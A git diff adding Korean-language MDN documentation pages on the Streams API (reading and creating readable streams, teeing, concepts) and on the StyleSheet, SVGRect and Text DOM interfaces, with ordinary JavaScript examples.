이 메서드를 실행하면 리더기가 생성되고 이 리더기를 스트림에 고정(locks) 시킵니다. {{domxref("ReadableStreamDefaultReader.releaseLock()")}} 메서드를 사용하는등 이 고정(locks)을 풀기전 까지는(released), 그 어떤 다른 리더기들도 이 스트림을 읽을수 없습니다. 

+ +

또한 response.body 는 동기이므로 굳이 프로미스를 사용할 필요가 없으며, 위의 예시를 한번의 스텝으로 줄일수 있다는 점에 주목해 주십시요

+ +
// 오리지널 이미지를 Fetch 함
+  fetch('./tortoise.png')
+  // body 를 ReadableStream으로 가공함
+  .then(response => {
+    const reader = response.body.getReader();
+ +

Reading the stream

+ +

이제 우리는 우리의 리더기를 추가하였습니다. 우리는 리더기의 {{domxref("ReadableStreamDefaultReader.read()")}} 메서드를 사용하여 스트림으로 부터 data chunk들을 읽을수 있게 되었습니다.

+ +

정확하게는 이 메서드는 각 스트림으로부터 하나의  data chunk를 읽습니다. 그리고 이러한 data chunk는 우리가 원하는대로 사용할 수 있습니다.

+ +

예를 들어 우리의 Simple stream pump example에서는 {{domxref("ReadableStreamDefaultReader.read()")}} 사용하여 Data Chunk를 새로운 커스텀 ReadableStream에 집어 넣고 있습니다. 그리고 만약 읽을수 있는 다음 Data Chunk가 있다면, {{domxref("ReadableStreamDefaultReader.read()")}} 를 다시 사용하여 다음 Data Chunk를 커스텀 ReadableStream에 집어 넣습니다. 더이상 읽을수 있는 Data Chunk가 없다면, 그 커스텀 ReadableStream(우리는 이 새로운 Readable 스트림에 대해 다음 섹션에서 다 자세히 살펴 볼것 입니다.)을 통해 새로운 {{domxref("Response")}} 객체를 생성합니다. 그 다음 이 {{domxref("Response")}} 객체를 {{domxref("Blob")}} 형태로 변환하고  이 {{domxref("Blob")}} 으로 부터 {{domxref("URL.createObjectURL()")}} 메서드를 사용하여 URL 객체를 생성합니다. 마지막으로 이 URL객체를 {htmlelement("img")}} 에 적용하여 이미지를 보여줌으로서 fetch된 오리지널 이미지를 효과적으로 복사하는 것입니다.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        // 스트림의 다음 Chunk에 대한 액세스를 제공하는 psomise를 리턴한다.
+        return reader.read().then(({ done, value }) => {
+          // 더이상 읽을 데이터 조각이 없을때 스트림을 닫는다
+          if (done) {
+              controller.close();
+              return;
+          }
+          // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

어떻게 read() 가 사용되었는지 자세히 들여다 봅시다. 위 예제의 pump() 함수는 제일먼저 read() 를 실행하였습니다. 그리고 이 read() 는 스트림으로부터 읽어 들인 내용의 결과를 { done, value } 의 형식으로 가지고 있는 pomise를 반환합니다. 

+ +
return reader.read().then(({ done, value }) => {
+ +

스트림으로부터 읽어 들인 내용은 아래 3가지 타입이 있습니다. 

+ + + +

다음으로 우리는 done 이 true 인지 아닌지 확인해 봐야 합니다.

+ +

만약 done 이 true 라면 더이상 읽어들일 chunk가 없다는 뜻입니다. 따라서 우리는 함수 밖으로 빠져 나가야 하고 {{domxref("ReadableStreamDefaultController.close()")}} 를 통하여 커스텀 스트림을 닫아야 합니다. 

+ +
if (done) {
+  controller.close();
+  return;
+}
+ +
+

Note: 여기서 사용한 close() 는 새로만든 커스텀 스트림의 일부이며 오리지널 스트림의 것이 아닙니다. 커스텀 스트림에 대해서는 다음섹션에서 더 자세히 살펴 볼 예정입니다. 

+
+ +

만약 done 이 true 가 아니라면, 우선 읽어 드린 Chunk를 처리하고 (value 속성), pump() 함수를 재귀적으로 다시 호출 함으로서 다음 chunk를 읽어 드립니다. 

+ +
// 다음 data chunk를 새로운 readable 스트림에 집어 넣음
+controller.enqueue(value);
+return pump();
+ +

다음은 스트림 리더기를 사용할때의 기본적인 패턴 입니다.

+ +
    +
  1. 스트림을 읽음으로서 실행되는 함수를 작성합니다.
  2. +
  3. 만약 읽을수 있는 스트림이 더이상 없다면, 함수를 리턴 시킵니다.
  4. +
  5. 만약 읽을수 있는 스트림이 아직 남아 있다면, 우선 읽어 드린 chunk를 처리하고, 다음 chunk를 읽어 드리기 위해 함수를 다시 실행합니다. 
  6. +
  7. 더이상 읽을수 있는 스트림이 없을때까지 함수를 재귀적으로 실행하고, 최종적으로 읽을수 있는 스트림이 없을경우 2번 Step을 따릅니다. 
  8. +
+ +

Creating your own custom readable stream

+ +

두번째 파트에서 사용했던 Simple stream pump example 예제에서 우리는 fetch body로 부터 읽어드린 이미지에 대한 data를 우리가 자체적으로 만든 커스텀 readable 스트림에 다시 옮겨 심었습니다. 그럼 어떻게 스트림을자체적으로 만들수 있을까요? 우리는 ReadableStream()생성자 함수를 통해 커스텀 readable 스트림을 만들 수 있습니다. 

+ +

The ReadableStream() constructor

+ +

Fetch와 같이 브라우저에서 스트림을 제공할때 그것을 읽어 들이는 일은 쉬운 일입니다. 그러나 때때로 새로운 커스텀 스트림을 만들고 이것을 data chunk들로 채워넣어야 하는 경우가 있습니다. {{domxref("ReadableStream.ReadableStream","ReadableStream()")}}을 아래의 구문과 같이 사용함으로서 이것을 가능하게 할수 있습니다. 구문이 처음에는 다소 복잡해 보일수 있습니다만, 실제로는 그렇게 복잡하지 않습니다. 

+ +

기본적인 핵심 구문은 다음과 같습니다.

+ +
const stream = new ReadableStream({
+  start(controller) {
+
+  },
+  pull(controller) {
+
+  },
+  cancel() {
+
+  },
+  type,
+  autoAllocateChunkSize
+}, {
+  highWaterMark,
+  size()
+});
+ +

생성자 함수는 두개의 객체를 인자로 받습니다. 첫번째 인자는 필수 값이며, 이것은 우리가 읽어 들일 기본 소스의 모델을 JavasScrip 적으로 생성 합니다.  두번째 인자는 옵션 값이며, 이것은 커스텀 스트림에 사용할 커스텀 queuing 전략을 수립하게 합니다. 두번째 인자의 경우 매우 드물게 설정하는 값이므로 지금은 첫번째 인자에 집중하도록 하겠습니다.

+ +

첫번째 인자인 객체는 5개의 맴버를 가질수 있으며, 제일 첫번째 맴버만 필수 입니다.

+ +
    +
  1. start(controller) — ReadableStream 이 생성되자 마자 딱 한번만 호출 되는 메서드 입니다. 이 메서드에는 스트림을 기능을 설정할 수 있는 코드가 포함되어야 합니다. 예를 들면 데이터 생성을 시작한다거나 아니면 소스에 접근하여 데이터를 가져오는 코드등이 들어가게 될것입니다.
  2. +
  3. pull(controller) — 이 메서드는 스트림 내부의 queue가 가득 찰때까지 반복적으로 호출 됩니다. 더 많은 청크가 큐에 들어갈 때 스트림을 제어하는 ​​데 사용할 수 있습니다.
  4. +
  5. cancel() — 이 메서드는 스트림이 캔슬될때 호출 됩니다 (예를 들어 {domxref("ReadableStream.cancel()")}} 이 호출 되었을때). 메서드의 내용은 스트림 소스에 대한 액세스를 해제하는 데 필요한 모든 것을 수행해야합니다.
  6. +
  7. type and autoAllocateChunkSize —  스트림이 바이트 스트림임을 나타 내기 위해 사용됩니다. 바이트 스트림은 목적과 사용 사례가 일반 (기본) 스트림과 약간 다르므로 향후 자습서에서 별도로 다룰 것입니다. 또한 아직 어느 곳에서도 구현되지 않았습니다.
  8. +
+ +

simple example code 를 다시한번 살펴보면, ReadableStream() 생성자가 start() 메서드 단 하나만 가지고 있다는 것을 알아챌수 있을 것 입니다. 이 start() 메서드 fetch된 스트림으로 부터 데이터를 읽어 들이고 있습니다.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // 더이상 읽을수 있는 data가 없다면 스트림을 닫는다
+          if (done) {
+            controller.close();
+            return;
+          }
+          // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+
+ +

ReadableStream controllers

+ +

ReadableStrem() 생성자에 인자로 전달된 객체안의 start()pull() 메서드에 controller라는 인자가 전달되는 것을 볼수 있습니다. 이것은 {{domxref("ReadableStreamDefaultController")}} 클래스의 인스턴스이며 우리의 스트림을 제어하는데 사용 됩니다.

+ +

우리의 예제에서, 우리는 fetch된 body로부터 chunk의 값을 읽은 뒤 그 값을 커스텀 스트림에 집어 넣기 위해 Controller의 {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} 메서드를 상용하고 있습니다.

+ +

또한, fetch된 body를 읽어 들이는 것이 끝나면 컨트롤러의 {{domxref("ReadableStreamDefaultController.close","close()")}}를 사용하여 커스텀 스트림을 닫습니다. 이때 이미 삽입된 chunk들은 여전히 읽을수 있지만 새로운 chunk는 집어 넣을수 없습니다. 그리고 읽는 것이 모두 긑나면 스트림은 닫힙니다. 

+ +

Reading from custom streams

+ +

우리의 Simple stream pump example 에서, 우리는 {domxref("Response.Response", "Response")}} 생성자 함수에 우리가 만든 커스텀 readable 스트림을 인자로 전달하였으며 그렇게 생성된 response 인스턴스를 blob() 으로 사용 하였습니다.

+ +
.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

그러나 커스텀 스트림은 여전히 ReadableStream 인스턴스입니다. 즉, 우리는 여전히 리더기를 커스텀 스트림에 붙일수 있다는 뜻입니다. 예를 들어 Simple random stream demo (see it live also) 를 살펴 보십시요. 이 예제에서는 커스텀 스트림을 생성한후, 랜덤 문자열을 생성된 커스텀 스트림에 집어 넣습니다. 그 후 문자열 생성 중지 버튼을 눌렀을때 커스텀 스트림에 집어 넣었던 랜덤 문자열을 커스텀 스트림으로 부터 다시 읽어 옵니다.

+ +

Note: {{domxref("FetchEvent.respondWith()")}} 메서드를 사용하여 스트림을 다루기 위해서는 스트림에 삽입된 내용이 만드시 {{jsxref("Uint8Array")}} 이어야 합니다. ({{domxref("TextEncoder")}} 등을 사용)

+ +

 Simple random stream demo (see it live also) 에서 커스텀 스트림 생성자 함수는 start() 메서드를 가지고 있으며, 이 메서드는 {{domxref("WindowTimers.setInterval()")}} 을 사용하여 매초마다 새로운 랜덤 문자열을 생성하고 이 문자열을 {{domxref("ReadableStreamDefaultController.enqueue()")}} 를 사용하여 스트림안에 넣습니다. 만약 문자열 생성 중지 버튼을 누른다면 이 interval 이 취소됨과 동시에 readStream() 함수를 호출하여 스트림으로 부터 스트림에 넣은 문자열 전부를 읽어 드립니다. 이때 스트림에 chunk data(여기서는 랜덤 문자열)를 넣는 것도 중단 했기때문에 스트림을 닫습니다. 

+ +
const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() => {
+      let string = randomChars();
+      // Add the string to the stream
+      controller.enqueue(string);
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      readStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});
+ +

스트림에 넣은 문자열 전부를 읽고 다루기 위해 만든 커스텀 함수인 readStream() 함수를 살펴보면, 우선 {{domxref("ReadableStream.getReader()")}}를 사용하여 리더기를 스트림에 고정시키는 것을 볼수 있습니다. 그 후 앞서 살펴봤던 패턴과 마찬가지로  read() 를 사용하여 chunk를 읽어 들이고  done 이 true 인지 아닌지 확인 합니다. 만약 true 이면  readStream() 함수의 프로세스를 끝내버리고 그렇지 않으면 읽어드린 chunk를 후속처리한 후  read() 를 재귀적으로 실행합니다.

+ +
function readStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() returns a promise that resolves
+  // when a value has been received
+  reader.read().then(function processText({ done, value }) {
+    // Result objects contain two properties:
+    // done  - true if the stream has already given you all its data.
+    // value - some data. Always undefined when done is true.
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = result;
+      return;
+    }
+
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // Read some more, and call this function again
+    return reader.read().then(processText);
+  });
+}
+ +

Closing and cancelling streams

+ +

우리는 이미 앞서 스트림을 닫는 메서드인 {{domxref("ReadableStreamDefaultController.close()")}} 를 살펴보았습니다. 이미 언급했다 시피, 스트림이 닫혔다 하더라고 이미 들어가 있는 chunk는 읽을 수 있습니다.

+ +

만약 스트림을 완벽하게 제거하고 삽입된 모든 chunk를 날리고 싶다면, {{domxref("ReadableStream.cancel()")}} 또는 {{domxref("ReadableStreamDefaultReader.cancel()")}} 메서드를 사용 하면 됩니다.

+ +

Teeing a stream

+ +

때로는 하나의 스트림을 동시 두번 읽어들여야 할 경우가 있습니다. {{domxref("ReadableStream.tee()")}} 메서드가 이를 가능하게 합니다. {{domxref("ReadableStream.tee()")}} 메서드는 두개의 독립적인 카피된 스트림을 가지고 있는 배열을 제공합니다. 이 카피된 두개의 스트림은 두개의 독립적인 리더기로 각각 읽어 들일 수 있습니다.

+ +

이런 경우는 아마  ServiceWorker 안에서 필요할 것입니다. 만약 서버로부터 fetch된 response를 브라우저에도 전달하고 서비스 워커 캐시에도 전달해야 하다면 하나의 스트림에 대해 두개의 카피본이 필요 할 것입니다. 왜냐하면 response body (Readablestream)는 단 한번만 사용될 수 있고 하나의 Readablestream은 하나의 리더기만 붙을수 있기 때문입니다. 

+ +

위 내용에 대한 예제를 Simple tee example (see it live also)에서 살펴 볼수 있습니다. 이 예제는 랜덤 문자열 생성 버튼에 대한 이벤트가 없다는 점과, 이 예제에서의 스트림은 teed되어 두개의 스트림이 두개의 리더기로 읽어진다는 점만 제외하면 앞서 살펴본 Simple random stream 예제와 매우 유사하게 동작합니다.

+ +
function teeStream() {
+    const teedOff = stream.tee();
+    readStream(teedOff[0], list2);
+    readStream(teedOff[1], list3);
+  }
+ +

Pipe chains

+ +

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

+ +

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

+ +

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

+ +
// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs => logReadableStream('Fetch Response Stream', rs))
+.then(body => body.pipeThrough(new PNGTransformStream()))
+.then(rs => logReadableStream('PNG Chunk Stream', rs))
+ +

Summary

+ +

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" "b/files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" new file mode 100644 index 0000000000..9c993b81a3 --- /dev/null +++ "b/files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" @@ -0,0 +1,115 @@ +--- +title: Streams API 컨셉 +slug: Web/API/Streams_API/컨셉 +translation_of: Web/API/Streams_API/Concepts +--- +
{{apiref("Streams")}}
+ +

The Streams API adds a very useful set of tools to the web platform, providing objects allowing JavaScript to programmatically access streams of data received over the network and process them as desired by the developer. Some of the concepts and terminology associated with streams might be new to you — this article explains all you need to know.

+ +

Readable streams

+ +

A readable stream is a data source represented in JavaScript by a {{domxref("ReadableStream")}} object that flows from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.

+ +

There are two types of underlying source:

+ + + +

컨The data is read sequentially in small pieces called chunks. A chunk can be a single byte, or it can be something larger such as a typed array of a certain size. A single stream can contain chunks of different sizes and types.

+ +

+ +

The chunks placed in a stream are said to be enqueued — this means they are waiting in a queue ready to be read. An internal queue keeps track of the chunks that have not yet been read (see the Internal queues and queueing strategies section below).

+ +

The chunks inside the stream are read by a reader — this processes the data one chunk at a time, allowing you to do whatever kind of operation you want to do on it. The reader plus the other processing code that goes along with it is called a consumer.

+ +

There is also a construct you’ll use called a controller — each reader has an associated controller that allows you to control the stream (for example, to cancel it if wished).

+ +

Only one reader can read a stream at a time; when a reader is created and starts reading a stream (an active reader), we say it is locked to it. If you want another reader to start reading your stream, you typically need to cancel the first reader before you do anything else (although you can tee streams, see the Teeing section below)

+ +

Note that there are two different types of readable stream. As well as the conventional readable stream there is a type called a byte stream — this is an extended version of a conventional stream for reading underlying byte sources (otherwise known as BYOB, or “bring your own buffer”) sources. These allow streams to be read straight into a buffer supplied by the developer, minimizing the copying required. Which underlying stream (and by extension, reader and controller) your code will use depends on how the stream was created in the first place (see the {{domxref("ReadableStream.ReadableStream()")}} constructor page).

+ +
+

Important: Byte streams are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. This may change over time.

+
+ +

You can make use of ready-made readable streams via mechanisms like a {{domxref("Response.body")}} from a fetch request, or roll your own streams using the {{domxref("ReadableStream.ReadableStream()")}} constructor.

+ +

Teeing

+ +

Even though only a single reader can read a stream at once, it is possible to split a stream into two identical copies, which can then be read by two separate readers. This is called teeing.

+ +

In JavaScript, this is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

+ +

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

+ +

+ +

Writable streams

+ +

A writable stream is a destination into which you can write data, represented in JavaScript by a {{domxref("WritableStream")}} object. This serves as an abstraction over the top of an underlying sink — a lower-level I/O sink into which raw data is written.

+ +

The data is written to the stream via a writer, one chunk at a time. A chunk can take a multitude of forms, just like the chunks in a reader. You can use whatever code you like to produce the chunks ready for writing; the writer plus the associated code is called a producer.

+ +

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

+ +

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

+ +

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

+ +

+ +

You can make use of writable streams using the {{domxref("WritableStream.WritableStream()")}} constructor. These currently have very limited availability in browsers.

+ +

Pipe chains

+ +

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

+ + + +

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

+ +

+ +
+

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

+
+ +

Backpressure

+ +

An important concept in streams is backpressure — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing. When a stream later in the chain is still busy and isn't yet ready to accept more chunks, it sends a signal backwards through the chain to tell earlier transform streams (or the original source) to slow down delivery as appropriate so that you don't end up with a bottleneck anywhere.

+ +

To use backpressure in a ReadableStream, we can ask the controller for the chunk size  desired by the consumer by querying the {{domxref("ReadableStreamDefaultController.desiredSize")}} attribute on the controller. If it is too low, our ReadableStream can tell its underlying source to stop sending data, and we backpressure along the stream chain.

+ +

If later on the consumer again wants to receive data, we can use the pull method in the stream creation to tell our underlying source to feed our stream with data.

+ +

Internal queues and queuing strategies

+ +

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

+ + + +

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

+ +

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

+ +

The calculation performed is

+ +
high water mark - total size of chunks in queue = desired size
+ +

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

+ +
+

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

+
+ +

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/ko/web/api/stylesheet/index.html b/files/ko/web/api/stylesheet/index.html new file mode 100644 index 0000000000..53e9229461 --- /dev/null +++ b/files/ko/web/api/stylesheet/index.html @@ -0,0 +1,61 @@ +--- +title: StyleSheet +slug: Web/API/StyleSheet +translation_of: Web/API/StyleSheet +--- +
{{APIRef("CSSOM")}}
+ +

An object implementing the StyleSheet interface represents a single style sheet. CSS style sheets will further implement the more specialized {{domxref("CSSStyleSheet")}} interface.

+ +

Properties

+ +
+
{{domxref("StyleSheet.disabled")}}
+
Is a {{domxref("Boolean")}} representing whether the current stylesheet has been applied or not.
+
{{domxref("StyleSheet.href")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the location of the stylesheet.
+
{{domxref("StyleSheet.media")}} {{readonlyInline}}
+
Returns a {{domxref("MediaList")}} representing the intended destination medium for style information.
+
{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} associating this style sheet with the current document.
+
{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}
+
Returns a {{domxref("StyleSheet")}} including this one, if any; returns null if there aren't any.
+
{{domxref("StyleSheet.title")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the advisory title of the current style sheet.
+
{{domxref("StyleSheet.type")}}{{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the style sheet language for this style sheet.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}{{ Spec2('CSSOM') }}No change from {{ SpecName('DOM2 Style') }}.
{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}{{ Spec2('DOM2 Style') }}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.StyleSheet")}}

+ +

See also

+ + diff --git a/files/ko/web/api/svgrect/index.html b/files/ko/web/api/svgrect/index.html new file mode 100644 index 0000000000..c006db08c1 --- /dev/null +++ b/files/ko/web/api/svgrect/index.html @@ -0,0 +1,90 @@ +--- +title: SVGRect +slug: Web/API/SVGRect +translation_of: Web/API/SVGRect +--- +
{{APIRef("SVG")}}
+ +

SVGRect는 직사각형을 의미합니다. 직사각형은 최소 x값과 최소 y값, 그리고 양수로 제한되는 폭과 높이를 식별하는 x와 y 좌표 쌍으로 구성됩니다.

+ +

SVGRect 오브젝트는 읽기 전용으로 지정될 수 있습니다. 이 말은 오브젝트를 수정하려는 시도가 있을 때 exception을 발생시킵니다.

+ +

{{InheritanceDiagram(600, 140)}}

+ +

프로퍼티

+ +

이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.

+ +
+
{{domxref("SVGRect.x")}} {{ReadOnlyInline}}
+
이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.
+
{{domxref("SVGRect.y")}} {{ReadOnlyInline}}
+
이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.
+
{{domxref("SVGRect.width")}} {{ReadOnlyInline}}
+
이것은 사각형의 너비를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. 
+
{{SVGAttr("SVGRect.height")}} {{ReadOnlyInline}}
+
이것은 사각형의 높이를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. 
+
+ +

Exceptions on setting: A {{domxref("DOMException")}} with the code NO_MODIFICATION_ALLOWED_ERR 는 읽기 전용 속성을 바꾸려 할 때 발생합니다.

+ +

메소드

+ +

이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.

+ +

+ +

rect 인터페이스의 간단한 사용법입니다. (매 클릭마다 rect 인터페이스의 색을 변경합니다.)

+ +

SVG content

+ +
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <rect width="300" height="100" id="myrect" onclick="doRectClick()"
+      style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" />
+  <text x="60" y="40" fill="white" font-size="40"
+      onclick="doRectClick();">Click Me</text>
+</svg>
+
+ +

JavaScript content

+ +
function doRectClick(){
+  var myrect = document.getElementById('myrect');
+  var r = Math.floor(Math.random() * 255);
+  var g = Math.floor(Math.random() * 255);
+  var b = Math.floor(Math.random() * 255);
+  myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')';
+}
+
+ +

Click the rect.

+ +

{{EmbedLiveSample('Example', '', '', '', 'Web/API/SVGRect')}}

+ +

상세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}{{Spec2("SVG2")}}Changed the inheritance from {{domxref("SVGElement")}} to {{domxref("SVGGeometryElement")}} and removed the implemented interfaces {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}}, and {{domxref("SVGTransformable")}}.
{{SpecName("SVG1.1", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}{{Spec2("SVG1.1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.SVGRect")}}

diff --git a/files/ko/web/api/text/index.html b/files/ko/web/api/text/index.html new file mode 100644 index 0000000000..7d529ce578 --- /dev/null +++ b/files/ko/web/api/text/index.html @@ -0,0 +1,117 @@ +--- +title: Text +slug: Web/API/Text +tags: + - API + - DOM + - Interface + - Reference +translation_of: Web/API/Text +--- +
{{ApiRef("DOM")}}
+ +

Text 인터페이스는 {{domxref("Element")}} 또는 {{domxref("Attr")}}의 문자형 콘텐츠를 표현합니다.

+ +

요소의 콘텐츠에 마크업이 없을 경우 해당 요소는 요소의 텍스트를 담은 Text 를 구현한 단일 자식을 갖습니다. 반면에 요소에 마크업이 있을 경우 자식을 구성하는 정보 항목과 Text 노드로 파싱됩니다.

+ +

새로운 문서는 각각의 텍스트 블록마다 하나의 Text 노드를 갖습니다. 문서의 콘텐츠가 변경됨에 따라 새로운 Text 노드가 생성될 수 있습니다. {{domxref("Node.normalize()")}} 메서드는 인접한 Text 객체에 대한 각각의 텍스트 블록을 다시 단일 노드로 병합합니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("Text.Text", "Text()")}} {{experimental_inline}}
+
제공한 매개변수를 텍스트 콘텐츠로 하는 Text 노드를 반환합니다.
+
+ +

속성

+ +

부모인 {{domxref("CharacterData")}}로부터 속성을 상속합니다.

+ +
+
{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}
+
+

텍스트 노드가 공백만 포함하는지 여부를 나타내는 {{domxref("Boolean")}} 플래그를 반환합니다.

+
+
{{domxref("Text.wholeText")}} {{readonlyInline}}
+
이 {{domxref("Node")}}와 논리적으로 인접한 모든 Text 노드의 텍스트를 문서 내의 순서대로 이어붙인 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("Text.assignedSlot")}} {{readonlyinline}}
+
이 요소와 연관된 {{domxref("HTMLSlotElement")}} 객체를 반환합니다.
+
+ +

Slotable로부터 포함된 속성

+ +

Text 인터페이스는 {{domxref("Slotable")}} 믹스인이 정의하는 다음의 속성을 포함합니다.

+ +
+
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
+
노드가 삽입된 {{htmlelement("slot")}}을 나타내는 {{domxref("HTMLSlotElement")}}를 반환합니다.
+
+ +

메서드

+ +

부모인 {{domxref("CharacterData")}}로부터 메서드를 상속합니다.

+ +
+
+ +
+
{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}
+
현재 노드와 논리적으로 인접한 모든 노드의 텍스트를 지정한 텍스트로 대체합니다.
+
+ +
+
{{domxref("Text.splitText")}}
+
노드를 지정한 오프셋에서 두 노드로 분리합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#text', 'Text')}}{{Spec2('DOM WHATWG')}}Removed the isElementContentWhitespace property.
+ Removed the replaceWholeText() method.
+ Added the Text() constructor.
+ Added the assignedSlot property.
{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM3 Core')}}Added the isElementContentWhitespace and wholeText properties.
+ Added the replaceWholeText() method.
{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Text")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/text/splittext/index.html b/files/ko/web/api/text/splittext/index.html new file mode 100644 index 0000000000..dd45f3b83d --- /dev/null +++ b/files/ko/web/api/text/splittext/index.html @@ -0,0 +1,95 @@ +--- +title: Text.splitText() +slug: Web/API/Text/splitText +tags: + - API + - DOM + - Text + - 메소드 +translation_of: Web/API/Text/splitText +--- +
